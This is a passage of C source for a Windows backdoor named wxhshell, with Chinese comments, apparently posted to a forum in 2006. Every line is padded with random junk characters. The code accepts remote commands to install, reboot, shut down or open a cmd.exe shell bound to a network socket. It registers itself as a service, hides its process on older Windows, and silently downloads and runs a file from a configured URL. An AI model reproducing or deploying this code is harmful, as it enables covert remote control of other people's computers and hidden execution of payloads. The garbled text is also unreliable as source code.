    switch(cmd[0]) { fY]"_P  
  k(H&Af+  
  // 帮助 AKk=XAGW  
  case '?': { eKLvBa-{@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); . 0dGS  
    break; Bzz|2/1y  
  } e'b*_Ps'  
  // 安装 lxd{T3LU  
  case 'i': { z ]f(lwo{  
    if(Install()) #-|fdcb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1dvP2E  
    else ` wa;@p+j8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MlTC?Rp#  
    break; NuOA'e+i  
    } 3a:Hx| Yg  
  // 卸载 'Agw~ &$  
  case 'r': { ,#;hI{E  
    if(Uninstall()) 9]Jv >_W*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cvcZ\y  
    else &mX_\w /%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8K4^05*S   
    break; *+v*VH  
    } I<}% L V  
  // 显示 wxhshell 所在路径 lIyMNw  
  case 'p': { 9L$OSy|  
    char svExeFile[MAX_PATH]; tR51Pw  
    strcpy(svExeFile,"\n\r"); GR|\OJ<2  
      strcat(svExeFile,ExeFile); ~d7t\S  
        send(wsh,svExeFile,strlen(svExeFile),0); 2l?^\9&  
    break; iM!Ya!  
    } b}TvQ+W]2  
  // 重启 !-MY< '  
  case 'b': { `BmnXWMgx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YCRE-5!  
    if(Boot(REBOOT)) y`9#zYgqA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zS:2?VXxq  
    else { $WIE`P%  
    closesocket(wsh); (IV\s Y  
    ExitThread(0); eipg,EI  
    } +-tFgXG  
    break; pW+uVv,  
    } ]x)!Kd2>  
  // 关机 rC@VMe|0  
  case 'd': { pZ8J\4+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G:*vV#K  
    if(Boot(SHUTDOWN)) rp\`uj*D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1v&!%9  
    else { !4Aj#`)  
    closesocket(wsh); 7R:j^"I@  
    ExitThread(0); ezw*Lo!  
    } LqYyIbsvf  
    break; YM`T"`f  
    } S ,F[74K  
  // 获取shell fTXip)n!r  
  case 's': { UvGxA[~2+  
    CmdShell(wsh); 9mxg$P4  
    closesocket(wsh); ]Y?Y$>  
    ExitThread(0); (:8a6=xQ  
    break; '$Z)2fn7  
  } {m!5IR  
  // 退出 e^lX|L>o  
  case 'x': { 'v^Vg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xz@#,F:@  
    CloseIt(wsh); u7mPp3ZYK  
    break; "BsK' yo.  
    } ^g4Gw6q 6  
  // 离开 PVg<Ovi^d  
  case 'q': { ' pgP QM<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZBDF>u@  
    closesocket(wsh); t+ w{uwEY  
    WSACleanup(); a X1b(h2  
    exit(1); u<8b5An;  
    break; tN<X3$aN  
        } /=YNkw5   
  } "gy&eR>  
  } A|LO!P,w  
3E wdu  
  // 提示信息 O? g;Ny  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gtaa^mnxD  
} j4,y+ 9U  
  } !Ew ff|v"  
T1qbb*  
  return; XB7*S*"!  
} 46]BRL2 G  
Iuz_u2"C  
// shell模块句柄 |&"aZ!Kn  
int CmdShell(SOCKET sock) ^"O>EY':  
{ ^R:&c;&,  
STARTUPINFO si; 7tWC<#  
ZeroMemory(&si,sizeof(si)); W8S sv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^vMlRt;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pl%!AY'oE>  
PROCESS_INFORMATION ProcessInfo; <y8oYe_!  
char cmdline[]="cmd"; Tr_gc~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $F^VtCx2&  
  return 0; F%<*a,m6g  
} !`%j#bv  
XA<h,ONE?  
// 自身启动模式 M?YNK]   
int StartFromService(void) 5IUdA?  
{ "x R6~8  
typedef struct ]+Lr'HF  
{ Eu' ;f_s  
  DWORD ExitStatus; ]7}!3m  
  DWORD PebBaseAddress; ~-Kx^3(#  
  DWORD AffinityMask; 2b7-=/[6  
  DWORD BasePriority; {[#)Q.2  
  ULONG UniqueProcessId; N `:MF 9  
  ULONG InheritedFromUniqueProcessId; Yw#fQFm  
}   PROCESS_BASIC_INFORMATION; @]q^O MLY  
Bc.de&Bxz_  
PROCNTQSIP NtQueryInformationProcess; K?J_cnJ`  
ke8g tbm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -XXsob}/8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .KKecdd?=  
r QiRhp  
  HANDLE             hProcess; MJ ch Z  
  PROCESS_BASIC_INFORMATION pbi; x)=l4A\  
Eo2`Vr9g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )M dddz4  
  if(NULL == hInst ) return 0; #1U>  
]fzXrN_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UstUPO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S>I` y]qlR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f|VCibI  
_U&HXQ8X  
  if (!NtQueryInformationProcess) return 0; UB5H8&Rf!  
Q k}RcP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vm<_e  
  if(!hProcess) return 0; 7(]F+\A3  
<&Xl b0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jUM'f24  
l,hOnpm9  
  CloseHandle(hProcess); U2m#BMV  
<c[\\ :Hh*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N$kxf  
if(hProcess==NULL) return 0; F$\Da)Y  
Y f!Oo  
HMODULE hMod; ^P@:CBO  
char procName[255]; 'UhHcMh:  
unsigned long cbNeeded; qr4 lr!#t  
_|["}M"?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ss%,  
pWKE`x^  
  CloseHandle(hProcess); WfaMu| L  
9[zxq`qT}+  
if(strstr(procName,"services")) return 1; // 以服务启动 g>h/|b w4  
2|^@=.4\  
  return 0; // 注册表启动 pDlrK&;\z  
} BL 1KM2]  
2j8GJU/L  
// 主模块 iH4LZ  
int StartWxhshell(LPSTR lpCmdLine) iV/I909*''  
{ BJwuN  
  SOCKET wsl; F8Ety^9>9  
BOOL val=TRUE; "6\ 5eFN;  
  int port=0; I+H~ 5zq.  
  struct sockaddr_in door; .fJ8  
N-QS/*C.~  
  if(wscfg.ws_autoins) Install(); Qpv#&nfUi6  
BzS4:e<  
port=atoi(lpCmdLine); E;CM"Y*  
qZ^ PC-  
if(port<=0) port=wscfg.ws_port; 0\:= KIY.  
x7/Vf,N  
  WSADATA data; Oe;#q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w"?Q0bhV9y  
86)2\uan  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }qM^J;uy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 53{\H&q  
  door.sin_family = AF_INET; TiI/I`A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zEFS\nP}E  
  door.sin_port = htons(port); nC p/.]Y*  
k!x|oC0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =KHb0d |.  
closesocket(wsl); @CzFzVmF"  
return 1; ]S4"JcM  
} I :<,9.   
xg/(  
  if(listen(wsl,2) == INVALID_SOCKET) { 7*uN[g#p  
closesocket(wsl); %urvX$r4K  
return 1; \85%d0@3  
} neM.M)0  
  Wxhshell(wsl); c`;oV-f  
  WSACleanup(); ]0*aE  
iSO xQ  
return 0; aI&~aezmN  
`hO%(9V9  
} 56z>/`=  
?@4Mt2Z\  
// 以NT服务方式启动 AB/${RGf+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |K1S(m<F  
{ a6n@   
DWORD   status = 0; Qw2`@P8W  
  DWORD   specificError = 0xfffffff; `{!A1xKZ  
Hi={(Z5tC4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]]:K l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `.J)Z=o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g@^y$wt  
  serviceStatus.dwWin32ExitCode     = 0; Pv5S k8  
  serviceStatus.dwServiceSpecificExitCode = 0; F%-@_IsG#  
  serviceStatus.dwCheckPoint       = 0; `f}s<At  
  serviceStatus.dwWaitHint       = 0; +8zACs{p  
U\lbh;9G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E2r5Pg  
  if (hServiceStatusHandle==0) return; aInt[D(  
~|Vq v{  
status = GetLastError(); qI9j=4s.  
  if (status!=NO_ERROR) 6ioj!w<N  
{ Pg T3E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +pqbl*W;1  
    serviceStatus.dwCheckPoint       = 0; s`=| D'G(=  
    serviceStatus.dwWaitHint       = 0; 9f0`HvHC  
    serviceStatus.dwWin32ExitCode     = status; y[$UeE"0  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bbs1U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OU%"dmSDk  
    return; g/.FJ-I*  
  } Y9X,2L7V  
E>QS^)ih  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S|tA%2z  
  serviceStatus.dwCheckPoint       = 0; k*;U?C!  
  serviceStatus.dwWaitHint       = 0; 5%2~/ "  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'S6zkwC]  
} EM@|^47$  
5V/&4$.U!  
// 处理NT服务事件,比如:启动、停止 Z0Sqw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z~Q5<A9Jz  
{ 1R8tR#l  
switch(fdwControl) !O"2)RU1  
{ []@@  
case SERVICE_CONTROL_STOP: y`zdI_!7  
  serviceStatus.dwWin32ExitCode = 0; u W,J5!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C '[4jz0xF  
  serviceStatus.dwCheckPoint   = 0; {2q"9Ox"  
  serviceStatus.dwWaitHint     = 0; [!%5(Ro_  
  { t`Bk2Cc)+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mh"PAp  
  } LAc60^t1  
  return; u_WUJ_  
case SERVICE_CONTROL_PAUSE: E|;>!MMA;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S*G^U1Sc+  
  break; E|9`J00  
case SERVICE_CONTROL_CONTINUE: =)+^y}xb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,M`1 k  
  break; #9(+)~irz`  
case SERVICE_CONTROL_INTERROGATE: {D8opepO)  
  break; |Jx:#OM  
}; ltNI+G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v+x<X5u  
} z{3`nd,  
MRz f#o<H  
// 标准应用程序主函数 k^d]EF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -%J9!(  
{ Vyi.:lL _8  
w%`S>+kX&  
// 获取操作系统版本 spP[S"gI  
OsIsNt=GetOsVer(); | t:UpP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :7X4VHw/  
;Lfn&2G  
  // 从命令行安装 392(N(  
  if(strpbrk(lpCmdLine,"iI")) Install(); UUz{Qm%  
8OOAPp$%|  
  // 下载执行文件 UBW,Q+Q  
if(wscfg.ws_downexe) { y$fMMAN7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W3/] 2"0  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]+,L/P  
} U0 -RG  
. h)VR 5?j  
if(!OsIsNt) { mQVlE__ub  
// 如果时win9x,隐藏进程并且设置为注册表启动 a:*N0  
HideProc(); yH:p*|%:  
StartWxhshell(lpCmdLine); ih)\P0wed  
} >{Ayzz>v  
else 1^]IuPxq  
  if(StartFromService()) N}/V2K]Q  
  // 以服务方式启动  lPz`?Hn  
  StartServiceCtrlDispatcher(DispatchTable); ]lKUpsQI  
else {w3<dfJ  
  // 普通方式启动 J;XO1}9  
  StartWxhshell(lpCmdLine); kJB:=iq/x$  
.7 j#F  
return 0; uDG>m7(}/h  
}
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只看该作者 1 发表于: 2006-10-10
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